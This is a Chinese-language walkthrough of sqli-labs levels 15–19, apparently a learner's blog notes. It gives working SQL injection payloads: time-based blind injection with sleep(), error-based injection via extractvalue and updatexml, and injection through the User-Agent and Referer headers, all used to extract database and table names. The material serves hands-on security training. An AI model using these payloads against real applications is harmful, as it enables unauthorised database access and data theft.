sqli-lab 15到19
第15题
发现不管输入什么都不报错
应该是没有回显的,所以考虑时间盲注:
先判断闭合方式:
建议拿' 、" 、') 、") 、) 、)) 、一个一个试:
时间盲注应该这样试:
uname=11&passwd=1' or sleep(4)-- -&submit=Submit
这里注意,刚开始试了很多次全都没有反应,查了一下,原来是考虑欠周:
在get方式传参中如果写成id=1' and sleep(2)-- -会有反应,因为id=1本来就是正确的,但在post方式中不能直接使用and,因为并不存在这个username=1,password=1的用户,所以这里应该用or
不知道其他那些教程里面使用and是怎么成功的。
知道是时间盲注,现在使用bp判断闭合方式:
在bp里sleep之后会直接卡掉,但也无所谓,有反应就行
可以看到为' 时发生了反应
闭合方式为'
之后时间盲注:
使用if函数:
1' or if(length(database())=8,sleep(2),1)-- -
爆库名:
才发现并不会一直白屏,而是休眠两秒后恢复正常。
就这样一直判断。。。
or if(mid((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='e',sleep(1),1);
mid函数可以换成substr。。。
强烈建议运行之前现在自己的datagrip里试试有没有错误,不然这里看着很麻烦
之后不再演示
到了时间盲注其实学个思想就行,没必要手动一个一个试了,不然这得什么时候搞完,
kali
第16题
与上一题基本一样,除了闭合方式:
为”)闭合方式。
其余交给kali吧。。。
第17题
这道题开始有点难度了
打开是这个界面
此时无论输入什么都是没有反应的,
查看源码:可以看到是有个输入检测函数的,
但这个检测函数只对uname进行了过滤。
看他的查询函数:
是首先通过uname对username和password查询,然后对于查到的用户更新密码,密码为你输入的password
所以前提是输入一个正确的username
这里已经知道一个争取的username:Dumb,如果在不知道这个用户名的情况应该怎么做?不知道
先找闭合方式:
1' or 1=1-- -不报错,所以是'闭合
可以看到是只对报错信息有回显,因此是报错注入
uname=Dumb&passwd=1' or extractvalue(1,concat(0x7e,database()))-- -&submit=Submit
上道题说过post方式注入中,最好用or别用and,但这道题好像用or的话不会有显示:
使用and吧。。
uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)))-- -&submit=Submit
其他与之前一样了。
第18题
查看源码,这次是对username和password都进行了check
因此不能对username和password进行注入了,
查看源码:
发现还有一条sql语句,是插入uagent的,可以考虑user-agent注入:
这道题应该是我环境有问题,我useragent尝试了各种payload都没有反应,
先过了吧这道题
。。。又回来了,谁能想到这道题还要输入正确的账户名密码???
离谱啊,浪费我一个上午时间都没搞好
直接useragent注入。。
通过他的插入语句可以看到补全方式应该如下:
1',1,1)-- -
爆库名
1',1 or extractvalue(1,concat(0x7e,database())),1)-- -
爆表名
1', updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),1),1)-- -
其余都一样了。
第19题
直接查看源码
同样对用户名和密码都进行了检查。
跟上一题类似
这道题是refer注入:
通过输入拼闭合方式:
爆库名:
1',extractvalue(1,concat(0x7e,database())))#
爆表名:
1',extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))))#
剩下同理。